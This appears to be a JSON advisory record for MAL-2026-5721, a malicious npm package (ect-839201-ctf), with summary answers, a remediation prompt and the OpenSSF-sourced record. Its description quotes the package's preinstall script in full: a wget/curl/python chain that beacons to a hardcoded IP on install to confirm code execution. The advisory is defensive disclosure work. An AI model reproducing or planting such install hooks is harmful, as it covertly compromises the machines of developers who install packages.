{"answers":{"affected":"1 open source package ship an affected version, including ect-839201-ctf.","exploited":"There is no known exploitation of MAL-2026-5721 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5721 is a malicious package in ect-839201-ctf, published on 12 Jun 2026."},"fix_prompt":"MAL-2026-5721 is a malicious package: ect-839201-ctf (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5721/ (Markdown: https://insights.sbomify.com/MAL-2026-5721/index.md)","id":"MAL-2026-5721","markdown":"https://insights.sbomify.com/MAL-2026-5721/index.md","name":"MAL-2026-5721","record":{"aliases":["GHSA-g7vq-rhjq-x8rw"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `npm install`, package.json's `preinstall` script executes `wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c \"import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')\"`. This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is \"Probe\", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in ect-839201-ctf (npm)","id":"MAL-2026-5721","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"ect-839201-ctf","purl":"pkg:npm/ect-839201-ctf","source":"MAL-2026-5721"}],"products":null,"published":"2026-06-12","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5721/"}